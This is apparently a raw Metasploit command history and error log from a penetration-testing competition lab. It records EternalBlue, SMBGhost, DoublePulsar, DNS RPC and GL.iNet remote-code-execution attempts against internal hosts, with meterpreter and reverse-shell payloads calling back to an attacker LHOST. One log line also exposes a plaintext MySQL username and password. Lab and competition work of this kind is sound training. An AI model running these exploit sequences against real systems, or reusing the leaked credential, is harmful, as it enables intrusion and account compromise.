    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:110:in `block in run'
    <internal:kernel>:187:in `loop'
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:93:in `run'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:180:in `job_run_proc'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:87:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:98:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/auxiliary.rb:66:in `cmd_run'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:582:in `run_command'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:531:in `block in run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `each'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:165:in `block in run'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:37:in `with_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:133:in `run'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:54:in `start'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    /usr/bin/msfconsole:23:in `<main>' - NameError uninitialized constant Net::NTLM


_raw:
db_nmap -sV -p- 10.0.1.21
exit
load kiwi
search netbios-ssn
search "netbios-ssn"
search netbios
use 2
show options
set RHOSTS 10.0.1.21
run
exit
hosts
exit
getuid
sysinfo
exir
exit
use auxiliary/scanner/smb/smb_version
show options
info -d
run
set RHOSTS ipaddr
run
set RHOSTS 10.0.1.21
run
nmap -sV -p 445 --script "smb2-security-mode,smb-enum-shares,smb-vuln-ms17-010,smb-vuln-cve2020-0796" <target>
exit


_raw: [11/01/2025 15:00:47] [e(0)] core: Exploit failed (windows/winrm/winrm_script_exec): WinRM::WinRMAuthorizationError WinRM::WinRMAuthorizationError - WinRM::WinRMAuthorizationError WinRM::WinRMAuthorizationError


_raw: [11/01/2025 15:00:44] [e(0)] core: Auxiliary failed - NameError uninitialized constant Net::NTLM


_raw:
[11/01/2025 15:00:44] [e(0)] core: Thread Exception: ScannerHost(scanner/rdp/rdp_scanner)-10.0.1.20  critical=false    source:
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:110:in `block in run'
    <internal:kernel>:187:in `loop'
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:93:in `run'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:180:in `job_run_proc'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:87:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:98:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/auxiliary.rb:66:in `cmd_run'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:582:in `run_command'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:531:in `block in run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `each'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:165:in `block in run'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:37:in `with_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:133:in `run'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:54:in `start'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    /usr/bin/msfconsole:23:in `<main>' - NameError uninitialized constant Net::NTLM


_raw:
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 10.0.1.6
run
clear
exit
help
use windows/remote/42031.py
use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_http
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 10.0.1.6
run
exit
use exploit/windows/smb/cve_2020_0796_smbghost
set RHOST 10.0.1.6
run
use exploit/windows/iis/py_dos_iis_2-22_21907
exit
use windows/remote/16366.rb
use 16366
use MS07-02
24
use exploit/windows/dcerpc/ms07_029_msdns_zonename
set RHOST 10.0.1.6
run
search
search Microsoft DNS RPC Service
set LHOST 10.0.254.202
run
use 48
run
set LHOST 10.0.254.202
set RHOST 10.0.1.6
run
set DNAME allports.local
run
exit
Microsoft Active Directory LDAP Server
search Microsoft Active Directory LDAP Server
use 0
set RHOST 10.0.1.6
run
set SESSION allports.local
set SESSION
help
check
check
run
set SESSION ad
set SESSION
set SESSION 0
set SESSION 023
set SESSION 2
run
exit
search microsoft terminal services
search microsoft remote
search microsoft remote desktop
use 2
set RHOST 10.0.1.6
run
search windows remote management
search winrm
use 2
set RHOST 10.0.1.6
run
set DOMAIN APT
run
set DOMAIN allports.local
run
exit
search winrm
run
use 2
set RHOST 10.0.1.6
run
use 4
set RHOST 1.0.1.6
run
use 3
set RHOST 1.0.1.6
run
set SESSION 10.0.1.6
exit
search winrm
use 2
set RHOST 10.0.1.6
run
use 4
run
set RHOST 10.0.1.6
run
search kerberos
use 9
run
set RHOST 10.0.1.6
run
set RHOST 10.0.1.6:5985
run
use 10
run
set RHOST 10.0.1.6
ru~n
run
set DOMAIN allports.local
run
set DOMAIN APT
run
set PORT 5985
set RPORT 5985
run
set DOMAIN allports.local
run
set RHOST 10.0.1.7
run
use 9
set RPORT 5985
set RHOST 10.0.1.6
run
use 0
set RHOST 10.0.1.6
set RPORT 5985
run
set LDAPDomain allports.local
set LDAPUsername root
run
set TARGET_USERNAME root
run
set CA
run
exit
search rdp
use 42
set RHOST 10.0.1.6
run
use 6
run
set RHOSTS 10.0.1.6
run
exit
search smb
help
check 10.0.1.6
search eternalblue
use 27
set RHOST 10.0.1.6
run
set LHOST 10.0.254.202
run
set DefangedMode false
run
set SMBName
set SMBNamev''
set SMBName ''
set SMBPass ''
set SMBUser ''
run
use 28
run
set RHOST 10.0.1.6
run
set SMBUSER ''
set SMBPASS ''
run
smbclient -L 10.0.1.6 -N
search smb escalation
search smb
exit
search openstack
use 0
set RPORT 9697
set RHOST 10.0.1.254
run
search luna
search cisco unified
nmap -sV 10.0.1.254
exit


_raw: [11/01/2025 14:59:46] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:59:22] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:58:34] [i(0)] core: windows/shell/reverse_tcp: iteration 1: Successfully encoded with encoder x86/shikata_ga_nai (size is 408)


_raw: [11/01/2025 14:57:49] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/01/2025 14:57:37] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:57:03] [d(0)] core: Error with SMB fingerprint: Login Failed: Connection reset by peer


_raw: [11/01/2025 14:57:03] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 14:56:42] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 14:56:42] [e(0)] core: Module 4] not found, and no loading errors found. If you're using a custom module refer to our wiki: https://docs.metasploit.com/docs/using-metasploit/intermediate/running-private-modules.html


_raw: [11/01/2025 14:56:30] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/01/2025 14:56:23] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:56:19] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
dbstatus
db_status
quit
db_status
msfdb init
exit


_raw: [11/01/2025 14:55:50] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:55:28] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:55:18] [e(0)] core: Exploit failed (windows/smb/ms10_061_spoolss): Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer - Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer


_raw: [11/01/2025 14:55:18] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 14:55:05] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw:
[11/01/2025 14:55:04] [e(0)] core: Thread Exception: Module(scanner/http/dir_scanner)-10.0.1.14  critical=false    source:
    /usr/share/metasploit-framework/modules/auxiliary/scanner/http/dir_scanner.rb:132:in `block in run_host'
    /usr/share/metasploit-framework/modules/auxiliary/scanner/http/dir_scanner.rb:131:in `upto'
    /usr/share/metasploit-framework/modules/auxiliary/scanner/http/dir_scanner.rb:131:in `run_host'
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:116:in `block (2 levels) in run'
    /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:105:in `block in spawn' - NoMethodError undefined method `closed?' for nil


_raw: [11/01/2025 14:54:53] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:54:44] [i(0)] core: windows/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder x86/xor_poly (size is 355)


_raw: [11/01/2025 14:54:44] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 14:54:35] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 14:54:35] [i(0)] core: windows/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder x86/xor_dynamic (size is 354)


_raw:
search nginx
use exploit/linux/http/glinet_unauth_rce_cve_2023_50445
show options
set RHOSTS 10.0.1.15
set LHOST 10.0.254.205/24
set LHOST 10.0.254.205
run
exit


_raw: [11/01/2025 14:53:35] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:53:23] [i(0)] core: windows/shell/reverse_tcp: iteration 1: Successfully encoded with encoder x86/xor_poly (size is 432)


_raw: [11/01/2025 14:53:13] [i(0)] core: windows/shell/reverse_tcp: iteration 1: Successfully encoded with encoder x86/xor_dynamic (size is 427)


_raw: [11/01/2025 14:52:54] [e(0)] core: Exploit failed (multi/http/vtiger_php_exec): NoMethodError undefined method `get_cookies' for nil - NoMethodError undefined method `get_cookies' for nil


_raw: [11/01/2025 14:52:54] [i(0)] core: php/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder php/hex (size is 2244)


_raw: [11/01/2025 14:52:52] [i(0)] core: windows/shell/reverse_tcp: iteration 1: Successfully encoded with encoder x86/xor_dynamic (size is 427)


_raw: [11/01/2025 14:52:41] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 14:51:23] [e(0)] core: Exploit failed (windows/smb/ms10_061_spoolss): Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer - Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer


_raw: [11/01/2025 14:51:23] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 14:49:26] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 10.0.1.6
run
clear
exit
help
use windows/remote/42031.py
use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_http
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 10.0.1.6
run
exit
use exploit/windows/smb/cve_2020_0796_smbghost
set RHOST 10.0.1.6
run
use exploit/windows/iis/py_dos_iis_2-22_21907
exit
use windows/remote/16366.rb
use 16366
use MS07-02
24
use exploit/windows/dcerpc/ms07_029_msdns_zonename
set RHOST 10.0.1.6
run
search
search Microsoft DNS RPC Service
set LHOST 10.0.254.202
run
use 48
run
set LHOST 10.0.254.202
set RHOST 10.0.1.6
run
set DNAME allports.local
run
exit
Microsoft Active Directory LDAP Server
search Microsoft Active Directory LDAP Server
use 0
set RHOST 10.0.1.6
run
set SESSION allports.local
set SESSION
help
check
check
run
set SESSION ad
set SESSION
set SESSION 0
set SESSION 023
set SESSION 2
run
exit
search microsoft terminal services
search microsoft remote
search microsoft remote desktop
use 2
set RHOST 10.0.1.6
run
search windows remote management
search winrm
use 2
set RHOST 10.0.1.6
run
set DOMAIN APT
run
set DOMAIN allports.local
run
exit
search winrm
run
use 2
set RHOST 10.0.1.6
run
use 4
set RHOST 1.0.1.6
run
use 3
set RHOST 1.0.1.6
run
set SESSION 10.0.1.6
exit
search winrm
use 2
set RHOST 10.0.1.6
run
use 4
run
set RHOST 10.0.1.6
run
search kerberos
use 9
run
set RHOST 10.0.1.6
run
set RHOST 10.0.1.6:5985
run
use 10
run
set RHOST 10.0.1.6
ru~n
run
set DOMAIN allports.local
run
set DOMAIN APT
run
set PORT 5985
set RPORT 5985
run
set DOMAIN allports.local
run
set RHOST 10.0.1.7
run
use 9
set RPORT 5985
set RHOST 10.0.1.6
run
use 0
set RHOST 10.0.1.6
set RPORT 5985
run
set LDAPDomain allports.local
set LDAPUsername root
run
set TARGET_USERNAME root
run
set CA
run
exit
search rdp
use 42
set RHOST 10.0.1.6
run
use 6
run
set RHOSTS 10.0.1.6
run
exit
search smb
help
check 10.0.1.6
search eternalblue
use 27
set RHOST 10.0.1.6
run
set LHOST 10.0.254.202
run
set DefangedMode false
run
set SMBName
set SMBNamev''
set SMBName ''
set SMBPass ''
set SMBUser ''
run
use 28
run
set RHOST 10.0.1.6
run
set SMBUSER ''
set SMBPASS ''
run
smbclient -L 10.0.1.6 -N
search smb escalation
search smb
exit


_raw: [11/01/2025 14:48:11] [e(0)] core: Exception encountered in cmd_set - Msf::OptionValidateError The following options failed to validate: Value '10.0.254.205/24' is not valid for option 'LHOST'.


_raw: [11/01/2025 14:48:10] [e(0)] core: Error running against host 10.0.1.14 - Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::SSH)


_raw: [11/01/2025 14:45:45] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:45:16] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:45:05] [i(0)] core: windows/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder x86/shikata_ga_nai (size is 323)


_raw: [11/01/2025 14:43:37] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search nginx
use 3
show options
set RHOST 10.0.1.15
run
exit


_raw: [11/01/2025 14:43:16] [e(0)] core: Exploit failed (linux/http/nginx_chunked_size): Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.15:80). - Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.15:80).


_raw: [11/01/2025 14:43:16] [i(0)] core: cmd/unix/php/meterpreter/reverse_tcp: payload contains no badchars, skipping automatic encoding


_raw:
clear
search http.sys
use 1
show options
set RHOSTS 10.0.1.21
show options
run
exit


_raw:
search msrpc
search netbios-ssn
use exploit/windows/dcerpc/ms05_017_msmq
set RHOSTS 10.0.1.21
run
search microsoft-ds
search wbt-server
search wsmans
exit


_raw: [11/01/2025 14:41:51] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search nginx
use exploit/linux/http/roxy_wi_exec
show options
set RHOSTS 10.0.1.15
run
exit


_raw: [11/01/2025 14:41:21] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:39:29] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search ssh
run 145
use  exploit/linux/ssh/vmware_vdp_known_privkey
show options
set RHOSTS 10.0.1.10
show options
show payload
check
run
show options
exit
search OpenSSH 8.9p1
search OpenSSH
search OpenSSH 8.9
search OpenSSH 8.9p1
search OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
search OpenSSH 8.9
exit
search OpenSSH 8.9
exit
search OpenSSH 8.9p1
exit
search MySQL 5.7.44
Apache httpd 2.4.24
Apache httpd 2.4.25
search nginx
run exploit/linux/http/glinet_unauth_rce_cve_2023_50445
use exploit/linux/http/glinet_unauth_rce_cve_2023_50445
show options
set RHOSTS 10.0.1.15
show options
run
exit
search nginx
run exploit/linux/http/glinet_unauth_rce_cve_2023_50445
use  exploit/linux/http/glinet_unauth_rce_cve_2023_50445
show options
set RHOSTS 10.0.1.15
set LHOST 0.0.0.0
run
exit


_raw: [11/01/2025 14:36:45] [e(0)] core: Exploit failed (unix/webapp/php_vbulletin_template) - NameError uninitialized constant Msf::EncodedPayload::PayloadSpaceViolation


_raw: [11/01/2025 14:36:35] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:36:23] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 14:36:20] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:36:00] [e(0)] core: Exploit failed (multi/handler): Interrupt  - Interrupt


_raw:
search MySQL 5.7.44
Apache httpd 2.4.24
Apache httpd 2.4.25
search nginx
run exploit/linux/http/glinet_unauth_rce_cve_2023_50445
use exploit/linux/http/glinet_unauth_rce_cve_2023_50445
show options
set RHOSTS 10.0.1.15
show options
run
exit


_raw: [11/01/2025 14:31:15] [e(0)] core: Exploit failed (windows/smb/smb_doublepulsar_rce): Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer - Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer


_raw: [11/01/2025 14:31:15] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 14:30:52] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/01/2025 14:30:45] [e(0)] core: Exploit failed (windows/smb/smb_doublepulsar_rce): Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer - Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer


_raw: [11/01/2025 14:30:45] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 14:30:40] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:30:18] [e(0)] core: Exploit failed (windows/smb/smb_doublepulsar_rce): Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer - Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer


_raw: [11/01/2025 14:30:18] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 14:27:38] [e(0)] core: Exploit failed (windows/smb/smb_doublepulsar_rce): Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer - Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer


_raw: [11/01/2025 14:27:38] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 14:27:17] [e(0)] core: Auxiliary failed - NameError uninitialized constant Net::NTLM


_raw:
[11/01/2025 14:27:17] [e(0)] core: Thread Exception: ScannerHost(scanner/rdp/rdp_scanner)-10.0.1.20  critical=false    source:
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:110:in `block in run'
    <internal:kernel>:187:in `loop'
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:93:in `run'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:180:in `job_run_proc'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:87:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:98:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/auxiliary.rb:66:in `cmd_run'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:582:in `run_command'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:531:in `block in run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `each'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:165:in `block in run'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:37:in `with_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:133:in `run'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:54:in `start'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    /usr/bin/msfconsole:23:in `<main>' - NameError uninitialized constant Net::NTLM


_raw: [11/01/2025 14:26:47] [e(0)] core: Exploit failed (multi/misc/msf_rpc_console): Interrupt  - Interrupt


_raw: [11/01/2025 14:26:46] [i(0)] core: generic/shell_reverse_tcp: payload contains no badchars, skipping automatic encoding


_raw: [11/01/2025 14:26:26] [e(0)] core: Exploit failed (windows/smb/smb_doublepulsar_rce): Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer - Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer


_raw: [11/01/2025 14:26:26] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 14:25:29] [e(0)] core: Exploit failed (multi/misc/msf_rpc_console): Interrupt  - Interrupt


_raw: [11/01/2025 14:25:27] [i(0)] core: generic/shell_reverse_tcp: payload contains no badchars, skipping automatic encoding


_raw: [11/01/2025 14:25:25] [e(0)] core: Exploit failed (multi/misc/msf_rpc_console): Interrupt  - Interrupt


_raw: [11/01/2025 14:25:21] [i(0)] core: generic/shell_reverse_tcp: payload contains no badchars, skipping automatic encoding


_raw: [11/01/2025 14:25:20] [e(0)] core: Exploit failed (multi/misc/msf_rpc_console): Interrupt  - Interrupt


_raw: [11/01/2025 14:25:14] [w(0)] core: Exception in scheduler thread EOFError EOFError


_raw: [11/01/2025 14:25:13] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 14:25:10] [w(0)] core: Warning: trying to report a session_event for a session with no db_record (1)


_raw: [11/01/2025 14:25:09] [w(0)] core: Warning: trying to report a session_event for a session with no db_record (1)


_raw:
search smb
search eternal
use 24
set rhosts 10.0.1.6
run
set rhosts 10.0.1.20
run
show options
set SMBDomain Deckhand-01.allports.local
set SMBUser guest
run
nc quit
qiut
quit


_raw: [11/01/2025 14:24:15] [e(0)] core: Running query 'user' failed on session #<Rex::Post::MySQL::Ui::Console::CommandDispatcher::Client:0x00007f8d0a878130 @shell=#<Rex::Post::MySQL::Ui::Console:0x00007f8d095e6058 @session=#<Session:mysql 10.0.1.15:3306 (10.0.1.15) "MySQL boatgps @ 10.0.1.15:3306">, @client=#<Rex::Proto::MySQL::Client:0x00007f8d0a8565a8 @fields=nil, @result=nil, @protocol=#<Mysql::Protocol:0x00007f8d095e6b98 @mutex=#<Thread::Mutex:0x00007f8d0a2aaca8>, @opts={:host=>"10.0.1.15", :username=>"boatgps", :password=>"anchor2024", :database=>"", :port=>3306, :socket=>nil, :flags=>0, :io=>#<Socket:fd 10>, :charset=>nil, :connect_timeout=>nil, :read_timeout=>nil, :write_timeout=>nil, :init_command=>nil, :local_infile=>nil, :load_data_local_dir=>nil, :ssl_mode=>2, :ssl_context_params=>{}, :get_server_public_key=>false, :connect_attrs=>{}, :yield_null_result=>true, :return_result=>true, :with_table=>false, :auto_store_result=>true, :cast=>true}, @charset=#<Mysql::Charset:0x00007f8d096e8eb0 @number=8, @name="latin1", @csname="latin1_swedish_ci">, @insert_id=0, @warning_count=0, @session_track={1=>["information_schema"]}, @gc_stmt_queue=[], @state=:READY, @get_server_public_key=false, @socket=#<OpenSSL::SSL::SSLSocket:0x00007f8d0a2a9880 @context=#<OpenSSL::SSL::SSLContext:0x00007f8d0a2a98f8 @verify_mode=0, @verify_hostname=false, @max_proto_version=nil, @min_proto_version=769, @cert_store=#<OpenSSL::X509::Store:0x00007f8d1941df90 @verify_callback=nil, @error=nil, @error_string=nil, @chain=nil, @time=nil>>, @io=#<Socket:fd 10>, @eof=false, @rbuffer="", @sync=true, @sync_close=true, @wbuffer="">, @seq=2, @sqlstate="42000", @server_info="5.7.44", @server_version=50744, @server_capabilities=3254779903, @thread_id=452001, @client_flags=10398349, @field_count=0, @fields=[#<Mysql::Field:Database>], @server_status=16386, @no_more_records=true, @message="", @affected_rows=0>, @sqlstate="42000", @host_info="10.0.1.15 via TCP/IP", @last_error=#<Mysql::ServerError::ParseError: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'user' at line 1>, @opts={:host=>"10.0.1.15", :username=>"boatgps", :password=>"anchor2024", :database=>"", :port=>3306, :socket=>nil, :flags=>0, :io=>#<Socket:fd 10>, :charset=>nil, :connect_timeout=>nil, :read_timeout=>nil, :write_timeout=>nil, :init_command=>nil, :local_infile=>nil, :load_data_local_dir=>nil, :ssl_mode=>2, :ssl_context_params=>{}, :get_server_public_key=>false, :connect_attrs=>{}, :yield_null_result=>true, :return_result=>true, :with_table=>false, :auto_store_result=>true, :cast=>true}>, @stop_flag=false, @disable_output=false, @stop_count=0, @name=:mysql, @cont_prompt=" > ", @cont_flag=false, @prompt="%undMySQL @ 10.0.1.15:3306 ()%clr", @prompt_char=">", @histfile="/home/pentester/.msf4/histories/mysql_session_history", @hist_last_saved=17, @local_hostname="cptc11-regional-newengland-t2-vdi-kali05", @local_username="pentester", @framework=#<Framework (3 sessions, 0 jobs, 0 plugins)>, @dispatcher_stack=[#<Msf::Ui::Console::CommandDispatcher::LocalFileSystem:0x00007f8d0a3b6a98 @shell=#<Rex::Post::MySQL::Ui::Console:0x00007f8d095e6058 ...>, @tab_complete_items=[]>, #<Rex::Post::MySQL::Ui::Console::CommandDispatcher::Client:0x00007f8d0a878130 ...>, #<Rex::Post::MySQL::Ui::Console::CommandDispatcher::Core:0x00007f8d0a878310 @shell=#<Rex::Post::MySQL::Ui::Console:0x00007f8d095e6058 ...>, @tab_complete_items=[], @msf_loaded=nil, @filtered_commands=[]>], @on_command_proc=#<Proc:0x00007f8d0a34b450 /usr/share/metasploit-framework/lib/msf/core/session_manager.rb:221>, @commands=[], @input=#<Rex::Ui::Text::Input::Readline:0x00007f8d09945dc0 @rl_saved_proc=#<Proc:0x00007f8d09945a78 /usr/share/metasploit-framework/lib/rex/ui/text/input/readline.rb:194>, @output=#<Rex::Ui::Text::Output::Stdio:0x00007f8d09dd0250 @config={:color=>:auto}, @io=#<IO:<STDOUT>>, @input=nil, @at_prompt=false>, @prompt="\u0001\e[4m\u0002mysql @ 10.0.1.15:3306 (information_schema)\u0001\e[0m\u0002 > ">, @output=#<Rex::Ui::Text::Output::Stdio:0x00007f8d09dd0250 @config={:color=>:auto}, @io=#<IO:<STDOUT>>, @input=nil, @at_prompt=false>, @on_print_proc=#<Proc:0x00007f8d0a34b3d8 /usr/share/metasploit-framework/lib/msf/core/session_manager.rb:222>, @log_source="session_4", @busy=true>, @tab_complete_items=[], @msf_loaded=nil, @filtered_commands=[], @db_search_results=[]> - Mysql::ServerError::ParseError You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'user' at line 1


_raw: [11/01/2025 14:24:14] [i(0)] core: generic/shell_reverse_tcp: payload contains no badchars, skipping automatic encoding


_raw: [11/01/2025 14:24:10] [e(0)] core: Running query 'd' failed on session #<Rex::Post::MySQL::Ui::Console::CommandDispatcher::Client:0x00007f8d0a878130 @shell=#<Rex::Post::MySQL::Ui::Console:0x00007f8d095e6058 @session=#<Session:mysql 10.0.1.15:3306 (10.0.1.15) "MySQL boatgps @ 10.0.1.15:3306">, @client=#<Rex::Proto::MySQL::Client:0x00007f8d0a8565a8 @fields=nil, @result=nil, @protocol=#<Mysql::Protocol:0x00007f8d095e6b98 @mutex=#<Thread::Mutex:0x00007f8d0a2aaca8>, @opts={:host=>"10.0.1.15", :username=>"boatgps", :password=>"anchor2024", :database=>"", :port=>3306, :socket=>nil, :flags=>0, :io=>#<Socket:fd 10>, :charset=>nil, :connect_timeout=>nil, :read_timeout=>nil, :write_timeout=>nil, :init_command=>nil, :local_infile=>nil, :load_data_local_dir=>nil, :ssl_mode=>2, :ssl_context_params=>{}, :get_server_public_key=>false, :connect_attrs=>{}, :yield_null_result=>true, :return_result=>true, :with_table=>false, :auto_store_result=>true, :cast=>true}, @charset=#<Mysql::Charset:0x00007f8d096e8eb0 @number=8, @name="latin1", @csname="latin1_swedish_ci">, @insert_id=0, @warning_count=0, @session_track={1=>["information_schema"]}, @gc_stmt_queue=[], @state=:READY, @get_server_public_key=false, @socket=#<OpenSSL::SSL::SSLSocket:0x00007f8d0a2a9880 @context=#<OpenSSL::SSL::SSLContext:0x00007f8d0a2a98f8 @verify_mode=0, @verify_hostname=false, @max_proto_version=nil, @min_proto_version=769, @cert_store=#<OpenSSL::X509::Store:0x00007f8d1941df90 @verify_callback=nil, @error=nil, @error_string=nil, @chain=nil, @time=nil>>, @io=#<Socket:fd 10>, @eof=false, @rbuffer="", @sync=true, @sync_close=true, @wbuffer="">, @seq=2, @sqlstate="42000", @server_info="5.7.44", @server_version=50744, @server_capabilities=3254779903, 